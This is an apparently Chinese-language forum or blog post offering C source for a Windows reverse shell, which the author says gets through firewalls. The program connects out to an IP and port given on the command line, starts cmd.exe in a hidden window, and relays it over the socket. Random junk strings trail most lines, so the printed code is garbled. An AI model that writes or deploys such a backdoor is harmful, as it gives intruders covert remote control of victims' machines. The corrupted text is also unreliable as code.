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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t8upS u|  
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/* ============================== +G?nmXG[vj  
Rebound port in Windows NT .0u@PcE:O  
By wind,2006/7 C:@JLZB  
===============================*/ H D{2nZT  
#include VF] ~J=>i  
#include u(g0Ob  
t73" d#+  
#pragma comment(lib,"wsock32.lib") M"<B@p]rk:  
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void OutputShell(); -jQM h  
SOCKET sClient; 72{Ce7J4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DmpG35Jk  
N3QDPQ  
void main(int argc,char **argv) *Bm _  
{ w>Y!5RnO  
WSADATA stWsaData; &Uu8wFbIJ  
int nRet; :7jDgqn^|i  
SOCKADDR_IN stSaiClient,stSaiServer; `oGL==  
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if(argc != 3) zTvGku[3  
{ 7c aV-8:  
printf("Useage:\n\rRebound DestIP DestPort\n"); ntt:>j$  
return; gj-MkeI)  
} Dt\rMSjZ9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^OnZ9?C{R  
byetbt(IF  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ym5ji$!2  
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stSaiClient.sin_family = AF_INET; 0L|D1_k[  
stSaiClient.sin_port = htons(0); QFX )Nov];  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E|l qlS7  
= & =#G3f  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y?@(%PTp  
{ ?0k4l8R  
printf("Bind Socket Failed!\n"); lzup! `g  
return; &'d3Yt  
} EHqcQx`K_  
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stSaiServer.sin_family = AF_INET;  pu?D^h9/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nN$aZSb`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '\I!RAZ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i"J`$u  
{ &R;Cm]jt  
printf("Connect Error!"); K \_JG $(9  
return; lD\vq2  
} r\DA&b  
OutputShell(); =UMqa;\K  
} 0s'H(qE,_  
vo JmNH  
void OutputShell() mx;1'!'fr  
{ GFppcL@a  
char szBuff[1024]; $PE{}`#g  
SECURITY_ATTRIBUTES stSecurityAttributes; 5svM3  #  
OSVERSIONINFO stOsversionInfo; Ir :y#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .P5OUK  
STARTUPINFO stStartupInfo; T?Y/0znB*  
char *szShell; 1aBQ.-E-  
PROCESS_INFORMATION stProcessInformation; "[t b-$ER  
unsigned long lBytesRead; &D*22R4{CX  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;;? Zd  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S @[B?sNj  
stSecurityAttributes.lpSecurityDescriptor = 0; 6 r}R%{  
stSecurityAttributes.bInheritHandle = TRUE; \4 5%K|  
0G}]d17ho  
C])b 3tM,7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \1R<GBC4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QkU6eE<M*  
_q<Ke/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1'Y7h;\~\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QdtGFY4f,  
stStartupInfo.wShowWindow = SW_HIDE; &h_do8R  
stStartupInfo.hStdInput = hReadPipe; g:]X '%Ub  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BA(PWX`H  
lZf=#  
GetVersionEx(&stOsversionInfo); QssU\@ / Q  
q6a7o=BP]  
switch(stOsversionInfo.dwPlatformId) D +Ui1h-  
{ w:+wx/\  
case 1: Ti!<{>  
szShell = "command.com"; g6p:1;Evf  
break; n 0rAOkW  
default: '&42E[0P  
szShell = "cmd.exe"; K! I]0!:  
break; `D~wY^q{  
}  "yA=Tw  
I@jXW>$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,wPvv(b]a  
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send(sClient,szMsg,77,0); uk=f /nT  
while(1) \6WVs>z  
{ g r[M-U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;2%8tV$V  
if(lBytesRead) 3:~ *cU  
{ %=EN 3>,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kK&M>)&o#  
send(sClient,szBuff,lBytesRead,0); "-afHXED  
} (HD8Mm  
else uXkc07 r'  
{ F\IJim-Rh  
lBytesRead=recv(sClient,szBuff,1024,0); hF;TX.Y6  
if(lBytesRead<=0) break; 49d02AU%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Tw0GG8(c  
} U1;<NUg  
} 3Eu;_u_  
$l+DkR+  
return; +\/1V`  
}
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